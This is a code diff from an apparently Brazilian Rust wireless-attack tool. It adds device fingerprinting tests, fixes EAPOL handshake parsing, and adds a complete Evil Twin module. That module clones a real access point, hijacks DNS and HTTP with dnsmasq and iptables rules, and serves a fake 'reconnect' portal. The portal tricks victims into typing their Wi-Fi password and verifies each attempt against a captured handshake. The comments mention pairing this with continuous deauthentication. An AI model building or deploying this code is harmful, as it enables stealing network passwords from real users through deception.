if val.len() < 8 {
|
||||||
return None;
|
return None;
|
||||||
@@ -665,6 +1361,116 @@ mod tests {
|
|||||||
assert!(parsed.eapol().is_none());
|
assert!(parsed.eapol().is_none());
|
||||||
}
|
}
|
||||||
|
|
||||||
|
fn data_with_ethertype(ethertype: u16, payload: &[u8]) -> Vec<u8> {
|
||||||
|
let mut f = Vec::new();
|
||||||
|
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
|
||||||
|
f.extend_from_slice(&0u16.to_le_bytes());
|
||||||
|
f.extend_from_slice(&mac(0x11)); // addr1 = AP
|
||||||
|
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
|
||||||
|
f.extend_from_slice(&mac(0x11)); // addr3 = AP
|
||||||
|
f.extend_from_slice(&[0u8; 2]);
|
||||||
|
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
|
||||||
|
f.extend_from_slice(ðertype.to_be_bytes());
|
||||||
|
f.extend_from_slice(payload);
|
||||||
|
f
|
||||||
|
}
|
||||||
|
|
||||||
|
fn data_with_payload(payload: &[u8]) -> Vec<u8> {
|
||||||
|
data_with_ethertype(0x0800, payload)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn extracts_ip_from_arp() {
|
||||||
|
let mut arp = Vec::new();
|
||||||
|
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
arp.extend_from_slice(&0x0800u16.to_be_bytes());
|
||||||
|
arp.push(6);
|
||||||
|
arp.push(4);
|
||||||
|
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
arp.extend_from_slice(&mac(0x22));
|
||||||
|
arp.extend_from_slice(&[192, 168, 1, 42]);
|
||||||
|
arp.extend_from_slice(&[0u8; 6]);
|
||||||
|
arp.extend_from_slice(&[192, 168, 1, 1]);
|
||||||
|
let frame = data_with_ethertype(0x0806, &arp);
|
||||||
|
let parsed = parse(&frame).expect("frame");
|
||||||
|
assert_eq!(parsed.payload_info().ip.as_deref(), Some("192.168.1.42"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn extracts_hostname_and_os_from_mdns() {
|
||||||
|
let mut dns = vec![0u8; 12];
|
||||||
|
dns[5] = 1; // qdcount
|
||||||
|
for label in ["Lucass-iPhone", "local"] {
|
||||||
|
dns.push(label.len() as u8);
|
||||||
|
dns.extend_from_slice(label.as_bytes());
|
||||||
|
}
|
||||||
|
dns.push(0);
|
||||||
|
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||||
|
|
||||||
|
let mut udp = Vec::new();
|
||||||
|
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&((8 + dns.len()) as u16).to_be_bytes());
|
||||||
|
udp.extend_from_slice(&[0u8; 2]);
|
||||||
|
udp.extend_from_slice(&dns);
|
||||||
|
|
||||||
|
let mut ip = vec![0x45, 0];
|
||||||
|
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||||
|
ip.extend_from_slice(&[0u8; 5]);
|
||||||
|
ip.push(17);
|
||||||
|
ip.extend_from_slice(&[0u8; 2]);
|
||||||
|
ip.extend_from_slice(&[192, 168, 1, 7]);
|
||||||
|
ip.extend_from_slice(&[224, 0, 0, 251]);
|
||||||
|
ip.extend_from_slice(&udp);
|
||||||
|
|
||||||
|
let frame = data_with_payload(&ip);
|
||||||
|
let parsed = parse(&frame).expect("frame");
|
||||||
|
let info = parsed.payload_info();
|
||||||
|
assert_eq!(info.hostname.as_deref(), Some("Lucass-iPhone"));
|
||||||
|
assert_eq!(info.os.as_deref(), Some("iOS"));
|
||||||
|
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||||
|
assert_eq!(info.ip.as_deref(), Some("192.168.1.7"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn extracts_hostname_and_requested_ip_from_dhcp() {
|
||||||
|
let mut bootp = vec![0u8; 240];
|
||||||
|
bootp[0] = 1;
|
||||||
|
bootp[236..240].copy_from_slice(&[0x63, 0x82, 0x53, 0x63]);
|
||||||
|
bootp.extend_from_slice(&[53, 1, 3]);
|
||||||
|
bootp.extend_from_slice(&[50, 4, 192, 168, 1, 50]);
|
||||||
|
bootp.extend_from_slice(&[12, 7]);
|
||||||
|
bootp.extend_from_slice(b"pixel-7");
|
||||||
|
bootp.extend_from_slice(&[60, 15]);
|
||||||
|
bootp.extend_from_slice(b"android-dhcp-13");
|
||||||
|
bootp.push(255);
|
||||||
|
|
||||||
|
let mut udp = Vec::new();
|
||||||
|
udp.extend_from_slice(&68u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&67u16.to_be_bytes());
|
||||||
|
udp.extend_from_slice(&((8 + bootp.len()) as u16).to_be_bytes());
|
||||||
|
udp.extend_from_slice(&[0u8; 2]);
|
||||||
|
udp.extend_from_slice(&bootp);
|
||||||
|
|
||||||
|
let mut ip = vec![0x45, 0];
|
||||||
|
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||||
|
ip.extend_from_slice(&[0u8; 5]);
|
||||||
|
ip.push(17);
|
||||||
|
ip.extend_from_slice(&[0u8; 2]);
|
||||||
|
ip.extend_from_slice(&[0, 0, 0, 0]);
|
||||||
|
ip.extend_from_slice(&[255, 255, 255, 255]);
|
||||||
|
ip.extend_from_slice(&udp);
|
||||||
|
|
||||||
|
let frame = data_with_payload(&ip);
|
||||||
|
let parsed = parse(&frame).expect("frame");
|
||||||
|
let info = parsed.payload_info();
|
||||||
|
assert_eq!(info.hostname.as_deref(), Some("pixel-7"));
|
||||||
|
assert_eq!(info.os.as_deref(), Some("Android"));
|
||||||
|
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||||
|
assert_eq!(info.ip.as_deref(), Some("192.168.1.50"));
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn parses_mac_strings() {
|
fn parses_mac_strings() {
|
||||||
assert_eq!(
|
assert_eq!(
|
||||||
|
|||||||
@@ -55,7 +55,14 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
|||||||
if descriptor_type != 2 && descriptor_type != 254 {
|
if descriptor_type != 2 && descriptor_type != 254 {
|
||||||
return None;
|
return None;
|
||||||
}
|
}
|
||||||
let key_info = u16::from_le_bytes([frame[5], frame[6]]);
|
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
|
||||||
|
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
|
||||||
|
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
|
||||||
|
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
|
||||||
|
// fazia praticamente todo handshake real cair em message=0, descartado
|
||||||
|
// silenciosamente — só não aparecia nos testes porque o gerador de
|
||||||
|
// quadro sintético cometia o mesmo engano, simetricamente.
|
||||||
|
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
|
||||||
let key_version = (key_info & 0x0007) as u8;
|
let key_version = (key_info & 0x0007) as u8;
|
||||||
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
|
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
|
||||||
let ack = key_info & KEY_INFO_ACK != 0;
|
let ack = key_info & KEY_INFO_ACK != 0;
|
||||||
@@ -75,12 +82,12 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
|||||||
0
|
0
|
||||||
};
|
};
|
||||||
|
|
||||||
let replay_counter = u64::from_le_bytes(frame[9..17].try_into().ok()?);
|
let replay_counter = u64::from_be_bytes(frame[9..17].try_into().ok()?);
|
||||||
let mut nonce = [0u8; 32];
|
let mut nonce = [0u8; 32];
|
||||||
nonce.copy_from_slice(&frame[17..49]);
|
nonce.copy_from_slice(&frame[17..49]);
|
||||||
let mut mic_bytes = [0u8; 16];
|
let mut mic_bytes = [0u8; 16];
|
||||||
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
|
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
|
||||||
let key_data_len = u16::from_le_bytes([frame[97], frame[98]]) as usize;
|
let key_data_len = u16::from_be_bytes([frame[97], frame[98]]) as usize;
|
||||||
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
|
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
|
||||||
if data_end > frame.len() {
|
if data_end > frame.len() {
|
||||||
return None;
|
return None;
|
||||||
@@ -144,14 +151,14 @@ mod tests {
|
|||||||
f[1] = EAPOL_TYPE_KEY;
|
f[1] = EAPOL_TYPE_KEY;
|
||||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||||
f[4] = 2; // RSN descriptor
|
f[4] = 2; // RSN descriptor
|
||||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||||
f[17..49].copy_from_slice(&nonce);
|
f[17..49].copy_from_slice(&nonce);
|
||||||
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
|
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
|
||||||
*b = i as u8;
|
*b = i as u8;
|
||||||
}
|
}
|
||||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||||
f
|
f
|
||||||
}
|
}
|
||||||
@@ -176,6 +183,32 @@ mod tests {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
|
||||||
|
/// codificação do parser): confere que um quadro Mensagem 1 real — key
|
||||||
|
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
|
||||||
|
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
|
||||||
|
/// É exatamente o valor citado pela documentação de ferramentas de
|
||||||
|
/// quebra de WPA pra mensagem 1 com CCMP.
|
||||||
|
#[test]
|
||||||
|
fn parses_real_wire_message1_key_info_as_big_endian() {
|
||||||
|
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
|
||||||
|
frame[0] = 2; // versão EAPOL
|
||||||
|
frame[1] = EAPOL_TYPE_KEY;
|
||||||
|
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
|
||||||
|
frame[4] = 2; // descritor RSN
|
||||||
|
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
|
||||||
|
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
|
||||||
|
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
|
||||||
|
frame[17..49].fill(0xaa); // nonce
|
||||||
|
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
|
||||||
|
|
||||||
|
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
|
||||||
|
assert_eq!(parsed.message, 1);
|
||||||
|
assert_eq!(parsed.key_version, 2);
|
||||||
|
assert!(parsed.pairwise);
|
||||||
|
assert_eq!(parsed.replay_counter, 1);
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn extracts_pmkid_from_key_data() {
|
fn extracts_pmkid_from_key_data() {
|
||||||
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
|
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
|
||||||
|
|||||||
+2578
-23
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,472 @@
|
|||||||
|
//! Evil Twin + portal cativo: clona um AP já visto na captura (SSID aberto,
|
||||||
|
//! sem senha) pra atrair os clientes reais — em paralelo com desautenticação
|
||||||
|
//! contínua do AP verdadeiro, que já existe no engine — e pede a senha de
|
||||||
|
//! verdade por uma página de "reconectar", como qualquer portal cativo de
|
||||||
|
//! hotel/aeroporto faz.
|
||||||
|
//!
|
||||||
|
//! A diferença pro phishing comum: a senha digitada **nunca é aceita de
|
||||||
|
//! graça**. É conferida na hora contra o handshake real já capturado
|
||||||
|
//! ([`crate::crack::CrackTarget::verify`], o mesmo MIC criptográfico usado
|
||||||
|
//! na quebra por dicionário) — só confirma "conectado" quando a senha bate
|
||||||
|
//! de verdade com a rede. Isso também evita que a página vire um jeito de
|
||||||
|
//! coletar qualquer string digitada: ela só diz "certo" pra senha certa.
|
||||||
|
//!
|
||||||
|
//! Só funciona contra um AP que já apareceu na sessão de captura atual (não
|
||||||
|
//! dá pra apontar pra uma rede nunca vista) e exige a mesma autorização
|
||||||
|
//! explícita das outras abas de ataque.
|
||||||
|
|
||||||
|
use crate::crack::CrackTarget;
|
||||||
|
use std::fmt::Write as _;
|
||||||
|
|
||||||
|
/// Config do hostapd pro AP clone: aberto (sem criptografia) de propósito —
|
||||||
|
/// é o portal cativo que pede a senha, não o rádio. Praticamente todo
|
||||||
|
/// cliente com "lembrar essa rede" conecta sozinho numa rede aberta com o
|
||||||
|
/// SSID certo, sem perguntar nada ao usuário.
|
||||||
|
pub fn hostapd_conf(iface: &str, ssid: &str, channel: u32, bssid: Option<&str>) -> String {
|
||||||
|
let mut out = String::new();
|
||||||
|
let _ = writeln!(out, "interface={iface}");
|
||||||
|
let _ = writeln!(out, "driver=nl80211");
|
||||||
|
let _ = writeln!(out, "ssid={}", sanitize_conf_value(ssid));
|
||||||
|
let _ = writeln!(out, "hw_mode={}", if channel > 14 { "a" } else { "g" });
|
||||||
|
let _ = writeln!(out, "channel={channel}");
|
||||||
|
let _ = writeln!(out, "auth_algs=1");
|
||||||
|
let _ = writeln!(out, "wmm_enabled=1");
|
||||||
|
let _ = writeln!(out, "ignore_broadcast_ssid=0");
|
||||||
|
if let Some(bssid) = bssid {
|
||||||
|
let _ = writeln!(out, "bssid={bssid}");
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Config do dnsmasq: DHCP na sub-rede do AP clone + DNS que resolve
|
||||||
|
/// **tudo** pro próprio gateway, inclusive os domínios que Android/iOS/
|
||||||
|
/// Windows usam pra detectar portal cativo (é o que faz o popup de login
|
||||||
|
/// abrir sozinho no dispositivo da vítima).
|
||||||
|
pub fn dnsmasq_conf(iface: &str, gateway_ip: &str, dhcp_range: (&str, &str)) -> String {
|
||||||
|
let mut out = String::new();
|
||||||
|
let _ = writeln!(out, "interface={iface}");
|
||||||
|
let _ = writeln!(out, "bind-interfaces");
|
||||||
|
let _ = writeln!(out, "dhcp-range={},{},12h", dhcp_range.0, dhcp_range.1);
|
||||||
|
let _ = writeln!(out, "dhcp-option=3,{gateway_ip}"); // gateway
|
||||||
|
let _ = writeln!(out, "dhcp-option=6,{gateway_ip}"); // DNS
|
||||||
|
let _ = writeln!(out, "address=/#/{gateway_ip}"); // resolve tudo pra nós
|
||||||
|
let _ = writeln!(out, "no-resolv");
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Regras de `iptables` (lista de argumentos, uma regra por linha — cada
|
||||||
|
/// `Vec<String>` é um `iptables <args>`) pra mandar todo HTTP da sub-rede do
|
||||||
|
/// AP clone pro servidor do portal cativo, nessa máquina. Sem NAT pra
|
||||||
|
/// internet de propósito — o clone nunca dá acesso de verdade, só o portal.
|
||||||
|
pub fn iptables_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
|
||||||
|
let redirect = |proto: &str, dport: u16| {
|
||||||
|
vec![
|
||||||
|
"-t".into(),
|
||||||
|
"nat".into(),
|
||||||
|
"-A".into(),
|
||||||
|
"PREROUTING".into(),
|
||||||
|
"-i".into(),
|
||||||
|
iface.into(),
|
||||||
|
"-p".into(),
|
||||||
|
proto.into(),
|
||||||
|
"--dport".into(),
|
||||||
|
dport.to_string(),
|
||||||
|
"-j".into(),
|
||||||
|
"REDIRECT".into(),
|
||||||
|
"--to-port".into(),
|
||||||
|
portal_port.to_string(),
|
||||||
|
]
|
||||||
|
};
|
||||||
|
vec![redirect("tcp", 80)]
|
||||||
|
}
|
||||||
|
|
||||||
|
/// As mesmas regras, pra desfazer (`-D` em vez de `-A`) ao parar o job.
|
||||||
|
pub fn iptables_cleanup_rules(iface: &str, portal_port: u16) -> Vec<Vec<String>> {
|
||||||
|
iptables_rules(iface, portal_port)
|
||||||
|
.into_iter()
|
||||||
|
.map(|mut rule| {
|
||||||
|
if let Some(a) = rule.iter_mut().find(|a| *a == "-A") {
|
||||||
|
*a = "-D".into();
|
||||||
|
}
|
||||||
|
rule
|
||||||
|
})
|
||||||
|
.collect()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn sanitize_conf_value(value: &str) -> String {
|
||||||
|
// hostapd.conf não escapa valores — corta quebra de linha, que seria
|
||||||
|
// injeção de outra diretiva de config.
|
||||||
|
value.replace(['\n', '\r'], "")
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Resultado de uma tentativa de login no portal.
|
||||||
|
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||||
|
pub enum PortalAttempt {
|
||||||
|
/// Senha bateu com o handshake real — confirmado criptograficamente,
|
||||||
|
/// não é só "aceitar o que a pessoa digitou".
|
||||||
|
Correct,
|
||||||
|
WrongPassword,
|
||||||
|
/// Comprimento fora de 8–63: nem vale a pena gastar um PBKDF2 nisso.
|
||||||
|
InvalidLength,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Confere a senha submetida no portal contra o handshake real do alvo —
|
||||||
|
/// mesma verificação criptográfica usada na quebra por dicionário
|
||||||
|
/// ([`crate::crack::CrackTarget::verify`]). O portal só mostra "conectado"
|
||||||
|
/// quando isso bate; do contrário, pede de novo, exatamente como um portal
|
||||||
|
/// cativo legítimo faria com uma senha errada.
|
||||||
|
pub fn check_submission(target: &CrackTarget, password: &str) -> PortalAttempt {
|
||||||
|
if !(8..=63).contains(&password.len()) {
|
||||||
|
return PortalAttempt::InvalidLength;
|
||||||
|
}
|
||||||
|
if target.verify(password) {
|
||||||
|
PortalAttempt::Correct
|
||||||
|
} else {
|
||||||
|
PortalAttempt::WrongPassword
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Página de login do portal — pede a senha da rede clonada. Texto genérico
|
||||||
|
/// de "reconectar à rede", sem imitar nenhuma marca específica.
|
||||||
|
pub fn portal_login_html(ssid: &str, wrong_password: bool) -> String {
|
||||||
|
let notice = if wrong_password {
|
||||||
|
r#"<p class="err">Senha incorreta. Tente de novo.</p>"#
|
||||||
|
} else {
|
||||||
|
""
|
||||||
|
};
|
||||||
|
format!(
|
||||||
|
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>Conectar à rede</title>
|
||||||
|
<style>
|
||||||
|
body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;display:flex;
|
||||||
|
align-items:center;justify-content:center;min-height:100vh;margin:0}}
|
||||||
|
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}
|
||||||
|
h1{{font-size:18px;margin:0 0 6px}}
|
||||||
|
p.sub{{color:#999;font-size:13px;margin:0 0 18px}}
|
||||||
|
p.err{{color:#ff6961;font-size:13px}}
|
||||||
|
input{{width:100%;box-sizing:border-box;padding:12px;border-radius:10px;border:0;
|
||||||
|
background:#2c2c2e;color:#eee;font-size:15px;margin-bottom:12px}}
|
||||||
|
button{{width:100%;padding:12px;border-radius:10px;border:0;background:#f59e0b;
|
||||||
|
color:#1f1300;font-weight:600;font-size:15px}}
|
||||||
|
</style></head><body>
|
||||||
|
<form class="card" method="post" action="/connect">
|
||||||
|
<h1>Reconectar a “{ssid}”</h1>
|
||||||
|
<p class="sub">A sessão expirou. Digite a senha da rede Wi-Fi pra continuar conectado.</p>
|
||||||
|
{notice}
|
||||||
|
<input type="password" name="password" placeholder="Senha da rede" autofocus required minlength="8" maxlength="63">
|
||||||
|
<button type="submit">Conectar</button>
|
||||||
|
</form>
|
||||||
|
</body></html>"#,
|
||||||
|
ssid = html_escape(ssid),
|
||||||
|
notice = notice,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn portal_success_html(ssid: &str) -> String {
|
||||||
|
format!(
|
||||||
|
r#"<!doctype html><html lang="pt-BR"><head><meta charset="utf-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
|
<title>Conectado</title>
|
||||||
|
<style>body{{font:16px -apple-system,Segoe UI,Roboto,sans-serif;background:#111;color:#eee;
|
||||||
|
display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;text-align:center}}
|
||||||
|
.card{{background:#1c1c1e;border-radius:16px;padding:28px;max-width:360px;width:90%}}</style>
|
||||||
|
</head><body><div class="card"><h1>Conectado</h1><p>Você já está conectado a “{ssid}”.</p></div></body></html>"#,
|
||||||
|
ssid = html_escape(ssid),
|
||||||
|
)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Servidor HTTP minúsculo do portal — sem dependência nova, não precisa
|
||||||
|
/// ser um servidor de verdade, só responder GET (qualquer caminho vira a
|
||||||
|
/// página de login, o que também satisfaz a detecção de portal cativo do
|
||||||
|
/// Android/iOS/Windows) e POST /connect (lê `password=...` do corpo e
|
||||||
|
/// confere contra o handshake real). Roda até achar a senha certa, o `stop`
|
||||||
|
/// virar true, ou o accept falhar.
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
pub fn run_portal(
|
||||||
|
listener: std::net::TcpListener,
|
||||||
|
ssid: &str,
|
||||||
|
target: &CrackTarget,
|
||||||
|
stop: &std::sync::atomic::AtomicBool,
|
||||||
|
mut on_attempt: impl FnMut(PortalAttempt),
|
||||||
|
) -> Option<String> {
|
||||||
|
use std::sync::atomic::Ordering;
|
||||||
|
use std::time::Duration;
|
||||||
|
|
||||||
|
listener.set_nonblocking(true).ok();
|
||||||
|
loop {
|
||||||
|
if stop.load(Ordering::Relaxed) {
|
||||||
|
return None;
|
||||||
|
}
|
||||||
|
match listener.accept() {
|
||||||
|
Ok((stream, _)) => {
|
||||||
|
if let Some(password) = handle_connection(stream, ssid, target, &mut on_attempt) {
|
||||||
|
return Some(password);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {
|
||||||
|
std::thread::sleep(Duration::from_millis(80));
|
||||||
|
}
|
||||||
|
Err(_) => return None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(target_os = "linux")]
|
||||||
|
fn handle_connection(
|
||||||
|
mut stream: std::net::TcpStream,
|
||||||
|
ssid: &str,
|
||||||
|
target: &CrackTarget,
|
||||||
|
on_attempt: &mut impl FnMut(PortalAttempt),
|
||||||
|
) -> Option<String> {
|
||||||
|
use std::io::{Read, Write};
|
||||||
|
|
||||||
|
stream
|
||||||
|
.set_read_timeout(Some(std::time::Duration::from_secs(5)))
|
||||||
|
.ok();
|
||||||
|
let mut buf = vec![0u8; 8192];
|
||||||
|
let mut total = 0usize;
|
||||||
|
// Lê até achar o fim dos cabeçalhos — suficiente pros requests curtos
|
||||||
|
// que um navegador manda pra um form simples.
|
||||||
|
loop {
|
||||||
|
let n = stream.read(&mut buf[total..]).ok()?;
|
||||||
|
if n == 0 {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
total += n;
|
||||||
|
if buf[..total].windows(4).any(|w| w == b"\r\n\r\n") || total >= buf.len() {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let request = String::from_utf8_lossy(&buf[..total]);
|
||||||
|
let mut lines = request.lines();
|
||||||
|
let request_line = lines.next().unwrap_or("");
|
||||||
|
let mut parts = request_line.split_whitespace();
|
||||||
|
let method = parts.next().unwrap_or("GET");
|
||||||
|
let path = parts.next().unwrap_or("/");
|
||||||
|
|
||||||
|
let mut content_length = 0usize;
|
||||||
|
for line in request.lines() {
|
||||||
|
if let Some(v) = line
|
||||||
|
.to_ascii_lowercase()
|
||||||
|
.strip_prefix("content-length:")
|
||||||
|
.map(str::trim)
|
||||||
|
.and_then(|v| v.parse::<usize>().ok())
|
||||||
|
{
|
||||||
|
content_length = v;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let mut found_password = None;
|
||||||
|
let body = if method == "POST" && path.starts_with("/connect") {
|
||||||
|
let header_end = request.find("\r\n\r\n").map(|i| i + 4).unwrap_or(total);
|
||||||
|
let body_bytes = &buf[header_end..total.min(header_end + content_length)];
|
||||||
|
let form = String::from_utf8_lossy(body_bytes);
|
||||||
|
let password = form_value(&form, "password").unwrap_or_default();
|
||||||
|
let attempt = check_submission(target, &password);
|
||||||
|
on_attempt(attempt.clone());
|
||||||
|
match attempt {
|
||||||
|
PortalAttempt::Correct => {
|
||||||
|
found_password = Some(password);
|
||||||
|
portal_success_html(ssid)
|
||||||
|
}
|
||||||
|
PortalAttempt::WrongPassword | PortalAttempt::InvalidLength => {
|
||||||
|
portal_login_html(ssid, true)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
portal_login_html(ssid, false)
|
||||||
|
};
|
||||||
|
|
||||||
|
let response = format!(
|
||||||
|
"HTTP/1.1 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: {}\r\nConnection: close\r\n\r\n{body}",
|
||||||
|
body.len()
|
||||||
|
);
|
||||||
|
let _ = stream.write_all(response.as_bytes());
|
||||||
|
found_password
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lê `chave=valor` de um corpo `application/x-www-form-urlencoded` simples
|
||||||
|
/// (sem libs extra — é um único campo de senha, não vale a pena puxar uma
|
||||||
|
/// crate de parsing de formulário por causa disso).
|
||||||
|
fn form_value(body: &str, key: &str) -> Option<String> {
|
||||||
|
body.split('&').find_map(|pair| {
|
||||||
|
let (k, v) = pair.split_once('=')?;
|
||||||
|
if k == key {
|
||||||
|
Some(url_decode(v))
|
||||||
|
} else {
|
||||||
|
None
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
fn url_decode(s: &str) -> String {
|
||||||
|
let bytes = s.as_bytes();
|
||||||
|
let mut out = Vec::with_capacity(bytes.len());
|
||||||
|
let mut i = 0;
|
||||||
|
while i < bytes.len() {
|
||||||
|
match bytes[i] {
|
||||||
|
b'+' => {
|
||||||
|
out.push(b' ');
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
b'%' if i + 2 < bytes.len() => {
|
||||||
|
let hex = std::str::from_utf8(&bytes[i + 1..i + 3]).ok();
|
||||||
|
if let Some(byte) = hex.and_then(|h| u8::from_str_radix(h, 16).ok()) {
|
||||||
|
out.push(byte);
|
||||||
|
i += 3;
|
||||||
|
} else {
|
||||||
|
out.push(bytes[i]);
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
b => {
|
||||||
|
out.push(b);
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
String::from_utf8_lossy(&out).into_owned()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn html_escape(s: &str) -> String {
|
||||||
|
s.replace('&', "&")
|
||||||
|
.replace('<', "<")
|
||||||
|
.replace('>', ">")
|
||||||
|
.replace('"', """)
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostapd_conf_includes_required_fields_and_strips_newlines() {
|
||||||
|
let conf = hostapd_conf("wlan1", "Rede\nMaliciosa", 6, Some("aa:bb:cc:dd:ee:ff"));
|
||||||
|
assert!(conf.contains("interface=wlan1"));
|
||||||
|
assert!(conf.contains("ssid=RedeMaliciosa"));
|
||||||
|
assert!(!conf.contains("ssid=Rede\nMaliciosa"));
|
||||||
|
assert!(conf.contains("channel=6"));
|
||||||
|
assert!(conf.contains("hw_mode=g"));
|
||||||
|
assert!(conf.contains("bssid=aa:bb:cc:dd:ee:ff"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostapd_conf_picks_5ghz_mode_above_channel_14() {
|
||||||
|
let conf = hostapd_conf("wlan1", "Rede5G", 149, None);
|
||||||
|
assert!(conf.contains("hw_mode=a"));
|
||||||
|
assert!(!conf.contains("bssid="));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn dnsmasq_conf_hijacks_every_domain_to_the_gateway() {
|
||||||
|
let conf = dnsmasq_conf("wlan1", "10.0.0.1", ("10.0.0.10", "10.0.0.200"));
|
||||||
|
assert!(conf.contains("address=/#/10.0.0.1"));
|
||||||
|
assert!(conf.contains("dhcp-range=10.0.0.10,10.0.0.200,12h"));
|
||||||
|
assert!(conf.contains("no-resolv"));
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn iptables_rules_redirect_http_to_the_portal_port() {
|
||||||
|
let rules = iptables_rules("wlan1", 8080);
|
||||||
|
